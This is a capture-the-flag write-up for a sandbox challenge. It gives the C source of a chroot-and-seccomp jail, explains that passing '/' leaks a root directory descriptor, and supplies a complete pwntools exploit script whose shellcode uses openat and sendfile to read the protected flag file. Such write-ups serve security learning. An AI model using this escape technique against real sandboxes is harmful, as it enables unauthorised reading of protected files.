Bypassing flag-string check with openat

Challenge Source Code

#include <assert.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <seccomp.h>

int main(int argc, char **argv, char **envp) {
assert(argc > 0);

setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 1);

assert(argc > 1);

// Checking to make sure you're not trying to open the flag.
assert(strstr(argv[1], "flag") == NULL);

int fd = open(argv[1], O_RDONLY | O_NOFOLLOW);

char jail_path[] = "/tmp/jail-XXXXXX";
assert(mkdtemp(jail_path) != NULL);

assert(chroot(jail_path) == 0);

assert(chdir("/") == 0);

int fffd = open("/flag", O_WRONLY | O_CREAT);
write(fffd, "try harder", 10);
close(fffd);

void *shellcode =
mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANON, 0, 0);
assert(shellcode == (void *)0x1337000);

int shellcode_size = read(0, shellcode, 0x1000);

scmp_filter_ctx ctx;

ctx = seccomp_init(SCMP_ACT_KILL);
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0) == 0);
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0) == 0);
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0) == 0);
assert(seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendfile), 0) == 0);

assert(seccomp_load(ctx) == 0);

((void (*)())shellcode)();
}

Vulnerability Analysis

The challenge introduces a check to prevent users from opening any file containing the substring “flag”.

assert(strstr(argv[1], "flag") == NULL);
int fd = open(argv[1], O_RDONLY|O_NOFOLLOW);

While this prevents us from passing /flag directly, it does not prevent us from passing /. By passing the root directory, we still obtain a valid file descriptor (FD 3) that points to the host’s root. The seccomp filter allows openat, which is all we need to traverse from that directory FD.

Exploitation Plan

  1. Leak the Root FD: Execute the binary with / as the argument. The string check passes (since “/” doesn’t contain “flag”), and we get a handle to the real root directory.
  2. Bypass Checks: Use the openat syscall within our shellcode. We use the leaked FD (3) as the starting directory and "flag" as the relative path.
  3. Retrieve Flag: Read the file content and write it to stdout using sendfile.

Exploit Script

The following script uses shellcraft to generate the payload. Since the exit system call is blocked by seccomp, we end the shellcode with an infinite loop (jmp .) to prevent the process from being killed immediately, allowing us to read the output from stdout.

from pwn import *

elf = context.binary = ELF("./challenge")

# Pass '/' to leak the root FD (fd 3)
p = process([elf.path, "/"])

# Construct shellcode using shellcraft
# 1. openat(3, "flag", O_RDONLY)
sc = shellcraft.openat(3, "flag", constants.O_RDONLY)

# 2. sendfile(1, fd, 0, 100)
# 'rax' contains the file descriptor returned by openat
sc += shellcraft.sendfile(1, 'rax', 0, 100)

# 3. infinite loop (exit is blocked by seccomp)
sc += "jmp ."

# Assemble and send
shellcode = asm(sc)
p.send(shellcode)

# Read output
print(p.recvall(timeout=1).decode())

p.close()